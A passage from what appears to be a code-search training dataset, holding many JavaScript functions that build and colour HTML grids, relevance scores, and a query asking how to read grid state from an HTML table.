xbeg, y, plotwidth, plotheight, xaxistics, majorint) {\\n\\n var colwidth = plotwidth / tabinput.getRowCount();\\n\\n stroke(gridstroke);\\n strokeWeight(gridweight);\\n let x = xbeg;\\n // columns\\n for (let i = 0; i < xaxistics; i++) {\\n if (!(i % majorint)) { strokeWeight(gridweight * 2) };\\n line(x, y, x, y - plotheight);\\n x += plotwidth / tabinput.getRowCount();\\n strokeWeight(gridweight);\\n };\\n\\n strokeWeight(gridweight * 2);\\n line(x, y, x, y - plotheight);\\n strokeWeight(gridweight);\\n x += plotwidth / table.getRowCount();\\n\\n\\n\\n // rows\\n\\n}\",\n \"function makeGrid() {\\n\\n// defining variables\\n\\nvar rowNumber = $('#input_height').val();\\nvar colNumber = $('#input_width').val();\\nvar table = $('#pixel_canvas');\\n\\ntable.children().remove();\\n\\n// adding rows\\n\\tfor(var i = 0; i < rowNumber; i++) {\\n\\t\\ttable.append(\\\"\\\");\\n\\n\\t\\t//adding columns\\n\\t\\tfor (var j = 0; j < colNumber; j++) {\\n\\t\\t\\ttable.children().last().append(\\\"\\\");\\n\\t\\t}\\n\\t}\\n\\n// Event Listener table cell click\\n\\ttable.children().on('click', 'td', function() {\\n\\t\\tvar color = $(\\\"input[type='color']\\\").val();\\n\\t\\t$(this).attr('bgcolor', color);\\n\\t});\\n\\n// Event Listener table cell doubleclick\\n\\ttable.children().on('dblclick', 'td', function() {\\n\\t\\t$(this).attr('bgcolor', 'transparent');\\n\\t});\\n\\n}\",\n \"function generateGrid(x) {\\n \\tfor (var rows = 0; rows < x; rows++) {\\n \\tfor (var columns = 0; columns < x; columns++) {\\n \\t$('#container').append(\\\"
    \\\");\\n };\\n };\\n $('.cell').width(720/x);\\n $('.cell').height(720/x);\\n\\t\\tpaint();\\n}\",\n \"function makeGrid(form) {\\n const height = form.input_height.value;\\n const width = form.input_width.value;\\n $('tr').remove();\\n $('table').append(returnTable(height, width));\\n}\",\n \"function makeGrid() {\\n\\t\\tfor(let col = 0; col < gridHeight; col++){\\n\\t\\t\\tconst cellRow = $(''); //CREATES TABLE ROWS\\n\\t\\t\\tcanvas.append(cellRow);\\n\\t\\t\\tfor (let row = 0; row < gridWidth; row++){\\n\\t\\t\\t\\tconst cell = $('');\\n\\t\\t\\t\\tcellRow.append(cell);\\n\\t\\t\\t};\\n\\t\\t};\\n\\t}\",\n \"function drawGrid() {\\n let dotCount = Number(inputDotCount.value);\\n let dotSize = Number(inputDotSize.value);\\n let desiredGridWidth = Number(inputGridWidth.value);\\n let columnCount = Math.floor(desiredGridWidth / dotSize);\\n\\n // dette er bare for å vise ønsket bredde på grid\\n // (faktisk bredde styres også av prikkstørrelse)\\n widthIndicator.style.width = desiredGridWidth + 'px';\\n\\n // sette hvor mye man skal øke/minke input-feltet for gridbredde når man bruker pil opp/ned\\n inputGridWidth.step = dotSize;\\n\\n grid.style.gridTemplateColumns = `repeat(${columnCount}, ${dotSize}px)`;\\n grid.style.gridAutoRows = dotSize + 'px';\\n\\n let html = '';\\n for (let i = 0; i < dotCount; i++) {\\n html += '
    ';\\n }\\n\\n grid.innerHTML = html;\\n}\",\n \"function agpMakeGrid(evt) {\\n // turn off the default event processing for the submit event\\n evt.preventDefault();\\n // reset the default canvas color to white as the default\\n document.getElementById(\\\"colorPicker\\\").value = \\\"#ffffff\\\";\\n\\n // remove any existing art work\\n let agpPixelCanvas=document.getElementById('pixelCanvas');\\n while (agpPixelCanvas.hasChildNodes()) {\\n agpPixelCanvas.removeChild(agpPixelCanvas.firstChild);\\n }\\n\\n // retrieve the grid heoght and width\\n let agpGridHeight=document.getElementById('inputHeight').value;\\n let agpGridWidth=document.getElementById('inputWidth').value;\\n\\n // create the row elements and within those, the individual table cells\\n for (var j=0;j
    \\\").find(\\\"div:last\\\").css({\\r\\n\\t\\t\\t\\t\\\"width\\\": cell_size,\\r\\n\\t\\t\\t\\t\\\"height\\\": cell_size\\r\\n\\t\\t\\t});\\r\\n\\t\\t}\\r\\n\\t\\t//end the line\\r\\n\\t\\t$(\\\"#grid\\\").append(\\\"
    \\\");\\r\\n\\t}\\r\\n}\",\n \"function makeGrid() {\\n let body = $(\\\"#pixel_canvas\\\")[0];\\n // $(body).html() = \\\"\\\";\\n rowVal = $(\\\"#input_height\\\").val();\\n colVal = $(\\\"#input_width\\\").val();\\n for (let r = 0; r < rowVal; r++) {\\n let row = body.insertRow(r);\\n for (let c = 0; c < colVal; c++) {\\n let cell = row.insertCell(c);\\n $(cell).on('click', function(evt) {\\n evt.target.style.backgroundColor = $(\\\"#colorPicker\\\").val();\\n this.style.borderColor = \\\"#000\\\";\\n });\\n }\\n }\\n return false;\\n}\",\n \"function generateGrid(x = 4, y= 4){\\n /* This function will generate a grid of x by y size */\\n var html = \\\"\\\";\\n\\n for (let i = 0;i < y; i++) {\\n for(let j = 0;j < x; j ++) {\\n var content = getValue(i,j);\\n if (j == 0){\\n if (content == ''){\\n html += \\\"\\\" + content + \\\"\\\";\\n }\\n else if( content == 2){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 4){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 8){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 16){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 32){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 64){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 128){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 256){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 512){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 1024){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content >= 2048){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n }\\n else if (j < x - 1){\\n if (content == ''){\\n html += \\\"\\\" + content + \\\"\\\";\\n }\\n else if( content == 2){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 4){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 8){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 16){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 32){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 64){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 128){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 256){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 512){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 1024){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content >= 2048){\\n html += \\\"\\\"+ content +\\\"\\\";\\n } \\n }\\n else if (j == x -1){\\n if (content == ''){\\n html += \\\"\\\" + content + \\\"\\\";\\n }\\n else if( content == 2){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 4){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 8){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 16){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 32){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 64){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 128){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 256){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 512){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content == 1024){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n else if (content >= 2048){\\n html += \\\"\\\"+ content +\\\"\\\";\\n }\\n } \\n }\\n }\\n return html;\\n}\",\n \"function makeGrid() {\\n\\tevent.preventDefault();\\n\\tconst height = document.getElementById(\\\"input_height\\\").value;\\n\\tconst width = document.getElementById(\\\"input_width\\\").value;\\n\\tlet table = document.getElementById(\\\"pixel_canvas\\\");\\n\\tconst delELeCell = document.getElementsByClassName(\\\"cell\\\");\\n\\t//console.log(delELeCell.length);\\n\\tlet k = delELeCell.length - 1;\\n\\twhile(k >= 0){\\n\\t\\tconst parent = delELeCell[k].parentNode;\\n\\t\\tparent.removeChild(delELeCell[k]);\\n\\t\\tk--;\\n\\t}\\n\\n\\tconst delRow = document.getElementsByClassName(\\\"row\\\");\\n\\tk = delRow.length - 1;\\n\\twhile(k >= 0){\\n\\t\\tconst parent = delRow[k].parentNode;\\n\\t\\tparent.removeChild(delRow[k]);\\n\\t\\tk--;\\n\\t}\\n\\n\\tfor(let i = 0; i < height; i++){\\n\\t\\tconst row = document.createElement(\\\"tr\\\");\\n\\t\\trow.setAttribute(\\\"id\\\", `row_${i}`);\\n\\t\\trow.setAttribute(\\\"class\\\", \\\"row\\\");\\n\\t\\ttable.appendChild(row);\\n\\t\\t//const findRow = document.getElementById(`row_${}`)\\n\\t\\tfor(let j = 0; j < width; j++){\\n\\t\\t\\tconst column = document.createElement(`td`);\\n\\t\\t\\tcolumn.setAttribute(\\\"id\\\", `cell_${i}_${j}`);\\n\\t\\t\\tcolumn.setAttribute(\\\"class\\\", \\\"cell\\\");\\n\\t\\t\\trow.appendChild(column);\\n\\t\\t}\\n\\t}\\n\\tconst buttonLen = document.getElementsByTagName(\\\"button\\\");\\n\\tif(buttonLen.length === 0){\\n\\t\\tconst button = document.createElement(\\\"button\\\");\\n\\t\\tconst text = document.createTextNode(\\\"Reset\\\");\\n\\t\\tbutton.appendChild(text);\\n\\t\\tdocument.getElementsByTagName(\\\"body\\\")[0].appendChild(button);\\n\\t}\\n}\",\n \"function createGrid(h, v){\\n let width = 960 / h;\\n for (var i = 1; i <= v * h; i++) {\\n var div = document.createElement('div');\\n div.className = 'cell';\\n div.style.border = 'solid 1px black';\\n container.appendChild(div);\\n container.appendChild(br);\\n }\\n cellsEvent();\\n container.style.display = 'grid';\\n container.style.gridTemplateRows = 'repeat(' + v + ', ' + width + 'px)';\\n container.style.gridTemplateColumns = 'repeat(' + h + ', ' + width + 'px)';\\n container.style.justifyContent = 'center';\\n}\",\n \"function makeGrid(gridHeight, gridWidth) {\\n while (PIXEL_CANVAS.firstChild){\\n \\tPIXEL_CANVAS.removeChild(PIXEL_CANVAS.firstChild);\\n }\\n\\n //Create the grid rows\\n for (let gridRow = 0; gridRow < gridHeight; gridRow++) {\\n const newRow = document.createElement('tr');\\n PIXEL_CANVAS.appendChild(newRow);\\n // insertAdjacentHTML('beforeend', '');\\n for (let i = 0; i < gridWidth; i++) {\\n const newCell = document.createElement('td');\\n newRow.appendChild(newCell);\\n }\\n }\\n}\",\n \"function makeGrid(height, width) {\\n \\n// Your code goes here!\\n// Create rows and columns\\n \\n for (let rows = 0; rows < height; rows++) {\\n let row = table.insertRow(rows);\\n for (var columns = 0; columns < width; columns++) {\\n let cell = row.insertCell(columns);\\n \\n// Allow user to color each, individual cell\\n \\n cell.addEventListener('click', (e) => { \\n let color = document.getElementById('colorPicker');\\n cell.style.backgroundColor = color.value;\\n });\\n }\\n }\\n}\",\n \"function makeGrid() {\\n gridCanvas.innerHTML = \\\"\\\";\\n var rowCount = gridHeight.value;\\n var cellCount = gridWidth.value;\\n for (let r = 0; r < rowCount; r++) {\\n var tr = document.createElement(\\\"tr\\\");\\n gridCanvas.appendChild(tr);\\n var newRow = gridCanvas.insertRow(r);\\n \\n for (let c = 0; c < cellCount; c++) {\\n var td = document.createElement(\\\"td\\\");\\n tr.appendChild(td);\\n td.addEventListener('click', fillGrid); //Event listeners are properly added to the grid squares (and not to the border or the table itself).\\n var cell = newRow.insertCell(c);\\n cell.addEventListener('click', fillGrid);\\n }\\n }\\n}\",\n \"function makeGrid(x,y) {\\n $('#pixel_canvas').empty();\\n for(let i=0; i');\\n $('#pixel_canvas').append(row);\\n for(let j=0; j');\\n }\\n }\\n}\",\n \"function makeGrid(){\\n\\n table.innerHTML =''; //czyszczenie tabeli\\n\\n const fragment = document.createDocumentFragment(); // DocumentFragment wrapper\\n\\n for(let h = 0; h < gridHeight.value; h++){\\n let tr = document.createElement('tr');\\n fragment.appendChild(tr);\\n for(let w = 0; w < gridWitdh.value; w++){\\n let td = document.createElement('td');\\n tr.appendChild(td);\\n }\\n }\\n table.appendChild(fragment);\\n colorSet();\\n colorClick();\\n colorRemove();\\n}\",\n \"function makeCells() {\\n let rowsI = document.getElementById('rows-input');\\n let columnsI = document.getElementById('columns-input');\\n let cellAmount = rowsI.value * columnsI.value;\\n console.log(rowsI.value);\\n console.log(columnsI.value);\\n board.style.gridTemplateRows = `repeat(${rowsI.value}, 1fr)`;\\n board.style.gridTemplateColumns = `repeat(${columnsI.value}, 1fr)`;\\n for (i = 0; i < cellAmount; i++){\\n let cell = document.createElement('div');\\n cell.className = 'cell';\\n cell.id = `cell-${i}`;\\n board.appendChild(cell);\\n }\\n}\",\n \"function makeGrid(height, width) {\\n\\n//console.log(height.value, width.value);\\n \\n//const row = table.insertRow(0);\\n//const cell = row.insertCell(0);\\n\\n// Your code goes here!\\nfor(let i = 0; i <= height; i++){\\n let row = table.insertRow(i);\\n for(let j = 0; j <= width; j++){\\n let cell = row.insertCell(j);\\n cell.addEventListener('click',(e) => {\\n console.log(e);\\n cell.style.background = color.value;\\n });\\n }\\n}\\n\\n}\",\n \"function makeGrid(h,w) {\\n for(let i = 1; i <= h; i++) {\\n grid.append(\\\"\\\");\\n let j = 1;\\n while (j <= w){\\n $(\\\"tr\\\")\\n .last()\\n .append(\\\"\\\");\\n j++;\\n }\\n } \\n}\",\n \"function makeGrid(h,l) {\\n // Remove previous grid if any\\n $(grid).children().remove();\\n // Loops to draw new Grid\\n for (i=0 ; i\\\"); // Add a cell at the end of the current row\\n }\\n }\\n}\",\n \"function createGrid(width, height) {\\n for (let i = 0; i < height; i++) {\\n let row = document.createElement('div');\\n row.classList.add('row');\\n\\n for (let x = 0; x < width; x++) {\\n let pixel = document.createElement('div');\\n pixel.classList.add('pixel');\\n row.appendChild(pixel);\\n }\\n grid.appendChild(row);\\n }\\n}\",\n \"function plot(rows = 36, cols = 64) {\\n\\n /* 'c' will contain the whole generated html rect tags string to change innerhtml of enclosing div */\\n /* 'y' will denote the 'y' coordinate where the next grid must be placed */\\n let c = \\\"\\\", y = 0;\\n\\n /* Looping for each row */\\n for (let i = 0; i < rows; i++) {\\n\\n /* 'x' is a coordinate denoting where the next grid must be placed */\\n var x = 0;\\n\\n /* For each row we will loop for each column present in the Grid */\\n for (let j = 0; j < cols; j++) {\\n\\n /* 'colr' will store the rest grid color which is dark gray currently */\\n let colr = grid_color;\\n\\n /* If the Rectange present in the grid is on the border side then change the color in order to highlight borders */\\n if(i === 0 || j === 0 || i === rows - 1 || j === cols - 1){\\n colr = border_color;\\n }\\n\\n /* Creating a rect tag that is appending in 'c' for now and will be updated to innerhtml of enclosing div */\\n /* I know you will be wondering about the id given to each rect :-\\n * Each rect must be provided with id in order to do anything with the corresponding rect.\\n * Operations like coloring the grid as well saving saving any number in corresponding matrix needs an id of the rect.\\n * Hence id is important to allot to each rect to make further changes in matrix on which whole algo is based.\\n * In order to assing every rect id i decided to allot their corresponding row_number + : + col_number to be as id\\n * As with this scenario it is easy to remember and will be unique for every rect tag. \\n */\\n c += ``;\\n\\n /* Incrementing the 'x' coordinate as we have width of 30px and hence 'x' coordinate for next rect will be +30 from current pos. */\\n x += 30;\\n }\\n\\n /* Incrementing the 'y' coordinate as we have placed sufficient rect in 1 row now need to advance 'y' as height of each rect \\n is 30px hence for every rect in next column the y coordinate will be +30*/\\n y += 30;\\n }\\n\\n /* At last after creating rect tags using loops, now update innerHtml of enclosing div with id='container'[grid.html] */\\n document.getElementById(\\\"container\\\").innerHTML = c;\\n\\n /* I wanted to preplace the Source - coordinate so at rect with id='src_crd' will be coloured green */\\n document.getElementById(src_crd).style.fill = \\\"rgb(0, 255, 0)\\\";\\n matrix[split(src_crd, 0)][split(src_crd, 1)] = 1; /* Update the pos as '1' to denote source location */\\n\\n /* I wanted to preplace the Destination - coordinate so at rect with id='dst_crd' will be coloured Red */\\n document.getElementById(dst_crd).style.fill = \\\"rgb(255, 0, 0)\\\";\\n matrix[split(dst_crd, 0)][split(dst_crd, 1)] = 2; /* Update the pos as '2' to denote Destination location */\\n\\n }\",\n \"function makeGrid() {\\n const GRID = $(\\\"#pixel_canvas\\\");\\n\\n // Select size input\\n const COLUMNS = $(\\\"#input_width\\\").val();\\n const ROWS = $(\\\"#input_height\\\").val();\\n\\n // Clears the table\\n GRID.children().remove();\\n\\n // Limit the grid size to avoid browser crash\\n if (COLUMNS <= 50 && ROWS <= 50) {\\n // Adds new rows\\n for (let i = 0; i < ROWS; i++) {\\n GRID.append(\\\"\\\");\\n\\n // Adds new columns\\n for (let j = 0; j < COLUMNS; j++)\\n GRID.children()\\n .last()\\n .append(\\\"\\\");\\n }\\n }\\n\\n // Selects the grid tile\\n tile = GRID.find(\\\"td\\\");\\n\\n // Allows the interaction with the grid\\n tile.click(function() {\\n // Selects color input\\n let colorPicker;\\n color = $(\\\"#colorPicker\\\").val();\\n $(this).attr(\\\"bgcolor\\\", color);\\n });\\n // Erases single cell color\\n tile.on(\\\"dblclick\\\", function() {\\n let colorPicker;\\n color = $(\\\"#colorPicker\\\").val();\\n $(this).removeAttr(\\\"bgcolor\\\");\\n });\\n\\n // Executes the action on the table and allows the color selection\\n GRID.on(\\\"click\\\", \\\"td\\\", function() {\\n const COLOR = $(\\\"input[type = 'color']#colorPicker\\\").val();\\n $(this).attr(\\\"background-color\\\", COLOR);\\n });\\n}\",\n \"function makeGrid(squaresPerSide) {\\n\\n //Add div rows(basically tr), to act as rows\\n for (var i = 0; i < squaresPerSide; i++) {\\n $('#pad').append('
    ');\\n }\\n\\n //Add div squares(basically td), to ever row\\n for (var i = 0; i < squaresPerSide; i++) {\\n $('.row').append('
    ');\\n }\\n\\n //Set square size= giant grid div divided by sqperside\\n var squareDimension = $('#pad').width() / squaresPerSide;\\n $('.square').css({\\n 'height': squareDimension,\\n 'width': squareDimension\\n });\\n}\",\n \"drawGrid() {\\n\\n for (let i = 0; i <= HEIGHT; i += SQUARE_SIDE) {\\n line(0, i, WIDTH, i);\\n }\\n for (let i = 0; i <= WIDTH; i += SQUARE_SIDE) {\\n line(i, 0, i, HEIGHT);\\n }\\n\\n }\",\n \"function grid() {\\n\\tvar spaceX = 64;\\n\\tvar spaceY = spaceX;\\n\\n\\tstroke(200);\\n\\tfor (var i = 64; i < width; i += 64) {\\n\\t\\tline(i, 0, i, height);\\n\\t}\\n\\tfor (var i = 64; i < height; i += 64) {\\n\\t\\tline(0, i, width, i);\\n\\t}\\n}\",\n \"function makeGrid() {\\n\\n const pixelGrid = document.querySelector('#pixelCanvas');\\n\\n pixelGrid.innerHTML = ''; //Clears previous grid\\n\\n inputHeight = document.querySelector('#inputHeight').value;\\n inputWidth = document.querySelector('#inputWidth').value;\\n\\n if (inputHeight > 100) { //Limit grid height\\n inputHeight = 100;\\n };\\n\\n if (inputWidth > 100) { //Limit grid width\\n inputWidth = 100;\\n }\\n\\n //Get user selected color and set pixel color\\n function colorClick() {\\n color = document.querySelector('#colorPicker').value;\\n event.target.style.backgroundColor = color;\\n }\\n\\n // Build grid based on user form input\\n for (var height = 0; height < inputHeight; ++height) { //Loop creates rows\\n const newRow = document.createElement('tr');\\n pixelGrid.appendChild(newRow);\\n for (var width = 0; width < inputWidth; ++width) { //Loop create pixels\\n const newPixel = document.createElement('td');\\n newRow.appendChild(newPixel);\\n newPixel.addEventListener('click', colorClick);//Add click event to pixels\\n }\\n }\\n}\",\n \"function makeGrid() {\\n //variables to get canvas element,height,width\\n var table = $(\\\"#pixelCanvas\\\");\\n var gridHeight = $(\\\"#inputHeight\\\");\\n var gridWidth = $(\\\"#inputWeight\\\");\\n table.children().remove();\\n for (x = 0; x < gridHeight.val(); x++) {\\n table.append('');\\n }\\n rows = $('tr');\\n for (y = 0; y < gridWidth.val(); y++) {\\n rows.append('');\\n } \\n table.on( 'click','td', function() { \\n var color = $(\\\"#colorPicker\\\"); \\n $(this).attr('bgcolor', color.val()); \\n });\\n}\",\n \"function makeGrid(x, y) {\\n for (var rows = 0; rows < x; rows++) {\\n for (var columns = 0; columns < y; columns++) {\\n $(\\\"#container\\\").append(\\\"
    \\\");\\n };\\n };\\n $(\\\".grid\\\").height(960/x);\\n $(\\\".grid\\\").width(960/y);\\n}\",\n \"function makeGrid() {\\n $(\\\"tr\\\").remove();\\n for (var h = 0; h < canvasHeight; h++) {\\n var row = \\\"\\\";\\n for (var w = 0; w < canvasWidth; w++) {\\n tdNo++;\\n row += '';\\n }\\n row += \\\"\\\";\\n\\n canvasCtl.append(row);\\n }\\n}\",\n \"function generage_grid() {\\n\\n for (var i = 0; i < rows; i++) {\\n $('.grid-container').append('
    ');\\n }\\n\\n\\n $('.grid-row').each(function () {\\n for (i = 0; i < columns; i++) {\\n $(this).append('
    ')\\n }\\n });\\n\\n var game_container_height = (34.5 * rows)\\n $('.game-container').height(game_container_height);\\n var game_container_width = (34.5 * columns)\\n $('.game-container').width(game_container_width);\\n }\",\n \"function makeGrid() {\\r\\n\\r\\n // Your code goes here!\\r\\n\\r\\n // Getting the grid height value from user\\r\\n const gridHeight = document.getElementById('inputHeight').value;\\r\\n // Getting the grid width value from user\\r\\n const gridWidth = document.getElementById('inputWidth').value;\\r\\n // Canvas table vairable\\r\\n const tableCanvas = document.getElementById('pixelCanvas');\\r\\n\\r\\n // Reset values to start\\r\\n tableCanvas.innerHTML = '';\\r\\n\\r\\n // Loop for inserting the rows\\r\\n for (let i = 0; i < gridHeight; i++) {\\r\\n let r = tableCanvas.insertRow(i);\\r\\n // Nested loop for inserting the cells\\r\\n for (let j = 0; j < gridWidth; j++) {\\r\\n let c = r.insertCell(j);\\r\\n // Action for the cells\\r\\n c.addEventListener('click', function(action) {\\r\\n // If the cell was pressed, the background color will change to the selected color\\r\\n action.target.style.backgroundColor = document.getElementById('colorPicker').value;\\r\\n });\\r\\n }\\r\\n }\\r\\n \\r\\n}\",\n \"function makeGrid(input1, input2) {\\n // make the table\\n var table = document.getElementById('pixelCanvas');\\n //to remove the table if the user decied to make another table\\n table.innerHTML = \\\"\\\";\\n // the loop here for row in table t\\n for (var i = 0; i < input1; i++) {\\n var row = document.createElement('tr');\\n\\n // the inner loopp for the cell and when user click in one of cell changed the color\\n for (var j = 0; j < input2; j++) {\\n var cell = document.createElement('td');\\n row.appendChild(cell);\\n cell.addEventListener('click', function(e) {\\n var color = document.getElementById('colorPicker').value;\\n e.target.style.backgroundColor = color;\\n })\\n }\\n table.appendChild(row);\\n }\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.8265037","0.81319696","0.8104697","0.802983","0.79749984","0.7900075","0.78400546","0.7790189","0.77530295","0.7727299","0.7696823","0.7652794","0.76238596","0.76086986","0.760159","0.7578795","0.7557386","0.75469404","0.7451794","0.74278045","0.7396933","0.7370144","0.73356515","0.7330653","0.73177314","0.7314027","0.7300973","0.7300615","0.7300615","0.7262645","0.7256636","0.72484237","0.72481656","0.7235104","0.7232532","0.7228658","0.721424","0.72039175","0.7194214","0.71849674","0.71812475","0.7158256","0.71231467","0.71075916","0.71036226","0.70987386","0.7096474","0.70944357","0.70825773","0.70807827","0.70606804","0.70468867","0.70387495","0.7026473","0.70244515","0.7020401","0.7016435","0.70103663","0.7004835","0.6996304","0.6973097","0.69321066","0.69289035","0.6909058","0.69079685","0.6906452","0.6894914","0.6881412","0.68628603","0.6858857","0.68193513","0.6814483","0.6809891","0.6808196","0.6796759","0.67897093","0.6770928","0.67627734","0.6751094","0.6748172","0.673616","0.67141503","0.67133397","0.6711852","0.669505","0.6684061","0.6677014","0.667345","0.6673008","0.6668397","0.6653581","0.6651125","0.66391927","0.66356575","0.6624877","0.6609144","0.6608871","0.6604191","0.6601479","0.6594729","0.65920794"],"string":"[\n \"0.8265037\",\n \"0.81319696\",\n \"0.8104697\",\n \"0.802983\",\n \"0.79749984\",\n \"0.7900075\",\n \"0.78400546\",\n \"0.7790189\",\n \"0.77530295\",\n \"0.7727299\",\n \"0.7696823\",\n \"0.7652794\",\n \"0.76238596\",\n \"0.76086986\",\n \"0.760159\",\n \"0.7578795\",\n \"0.7557386\",\n \"0.75469404\",\n \"0.7451794\",\n \"0.74278045\",\n \"0.7396933\",\n \"0.7370144\",\n \"0.73356515\",\n \"0.7330653\",\n \"0.73177314\",\n \"0.7314027\",\n \"0.7300973\",\n \"0.7300615\",\n \"0.7300615\",\n \"0.7262645\",\n \"0.7256636\",\n \"0.72484237\",\n \"0.72481656\",\n \"0.7235104\",\n \"0.7232532\",\n \"0.7228658\",\n \"0.721424\",\n \"0.72039175\",\n \"0.7194214\",\n \"0.71849674\",\n \"0.71812475\",\n \"0.7158256\",\n \"0.71231467\",\n \"0.71075916\",\n \"0.71036226\",\n \"0.70987386\",\n \"0.7096474\",\n \"0.70944357\",\n \"0.70825773\",\n \"0.70807827\",\n \"0.70606804\",\n \"0.70468867\",\n \"0.70387495\",\n \"0.7026473\",\n \"0.70244515\",\n \"0.7020401\",\n \"0.7016435\",\n \"0.70103663\",\n \"0.7004835\",\n \"0.6996304\",\n \"0.6973097\",\n \"0.69321066\",\n \"0.69289035\",\n \"0.6909058\",\n \"0.69079685\",\n \"0.6906452\",\n \"0.6894914\",\n \"0.6881412\",\n \"0.68628603\",\n \"0.6858857\",\n \"0.68193513\",\n \"0.6814483\",\n \"0.6809891\",\n \"0.6808196\",\n \"0.6796759\",\n \"0.67897093\",\n \"0.6770928\",\n \"0.67627734\",\n \"0.6751094\",\n \"0.6748172\",\n \"0.673616\",\n \"0.67141503\",\n \"0.67133397\",\n \"0.6711852\",\n \"0.669505\",\n \"0.6684061\",\n \"0.6677014\",\n \"0.667345\",\n \"0.6673008\",\n \"0.6668397\",\n \"0.6653581\",\n \"0.6651125\",\n \"0.66391927\",\n \"0.66356575\",\n \"0.6624877\",\n \"0.6609144\",\n \"0.6608871\",\n \"0.6604191\",\n \"0.6601479\",\n \"0.6594729\",\n \"0.65920794\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":31,"cells":{"query":{"kind":"string","value":"Get the grid state from HTML"},"document":{"kind":"string","value":"function getHTMLGrid(gameofLife) {\n var gridHTML = document.getElementById(\"grid\");\n var array = [];\n for (var i = 0, row = void 0; row = gridHTML.rows[i]; i++) {\n array[row.rowIndex] = [];\n for (var j = 0, col = void 0; col = row.cells[j]; j++) {\n if (col.className == \"selected\")\n array[row.rowIndex][col.cellIndex] = 1;\n else\n array[row.rowIndex][col.cellIndex] = 0;\n }\n }\n return array;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function parseGrid(grid) {\n var str = '';\n for (var row = 0; row < grid.length; row++) {\n for (var col = 0; col < grid[row].length; col++) {\n str = str + (grid[row][col].state ? grid[row][col].state.toLowerCase() : '-')\n }\n }\n return str;\n}","getGrid(gridNr) {\n var gridVal = this.state.gridValues[gridNr];\n if (gridVal == null) {\n gridVal = '.';\n }\n return this.gridClick(gridNr)} />\n }","function getGrid(pos) {\n\tlet childs = c.childNodes;\n\treturn childs[pos];\n}","getGridHtml(editor) {\n const curPos = editor.getCursor();\n\n if (this.isInGridBlock(editor)) {\n const bog = this.getBog(editor);\n const eog = this.getEog(editor);\n // skip block begin sesion(\"::: editable-row\")\n bog.line++;\n // skip block end sesion(\":::\")\n eog.line--;\n eog.ch = editor.getDoc().getLine(eog.line).length;\n return editor.getDoc().getRange(bog, eog);\n }\n return editor.getDoc().getLine(curPos.line);\n }","function getGridPosition() {\n\tvar selectedUnit = document.getElementsByClassName(\"selected\");\n\tif (angular.isDefined(selectedUnit[0])) {\n\t\tvar rowIndex = selectedUnit[0]['className'].split(\" \")[2].substring(8);\n\t\tvar gridPos = rowIndex.split('-');\n\t\treturn gridPos;\n\t} else {\n\t\treturn false;\n\t}\n}","function state_to_dom(s) {\n try {\n let html=\"\";\n for(let j=0;j<3;++j) {\n for(let i=0;i<3;++i) {\n html+=\" \";\n if(s.grid[j][i]==0) html+=\" \";\n else html+=s.grid[j][i];\n }\n html+=\"\\n\";\n }\n let obj=document.createElement(\"pre\");\n obj.innerHTML=html;\n return obj;\n } catch(e) {\n helper_log_exception(e);\n throw e;\n return null;\n }\n}","function getBoardState() {\n\t\tfor (var i = 0; i < 3; i++) {\n\t\t\tfor (var j = 0; j < 3; j++) {\n\t\t\t\tboard[i][j] = $('[data-loc=\"{i : ' + i + ', j : ' + j + '}\"]').text();\n\t\t\t}\n\t\t}\n\t}","function gridState(){\n var grid = {};\n $theInputs = $('.game-cell-input');\n $theInputs.each(function(){ // iterate over each input\n if($(this).val()){\n var num = $(this).data('num');\n var special = $(this).data('special');\n if(typeof special == \"undefined\" || special > 5 || special == 0){\n special = 0;\n }\n grid[num] = {val: $(this).val(), special: special};\n }\n });\n return grid;\n }","function TreeGrid_GetHTMLTarget(eEvent, aData)\n{\n\t//default result: null\n\tvar result = null;\n\t//get the position\n\tvar position = TreeGrid_GetTargetItemPosition(this, aData, __DESIGNER_CONTROLLER || __SCREENSHOTS_ON || eEvent != __NEMESIS_EVENT_CLICK && eEvent != __NEMESIS_EVENT_SELECT && eEvent != __NEMESIS_EVENT_NOTHANDLED);\n\t//header?\n\tif (position.Row == -1 && position.Column != null)\n\t{\n\t\t//get the 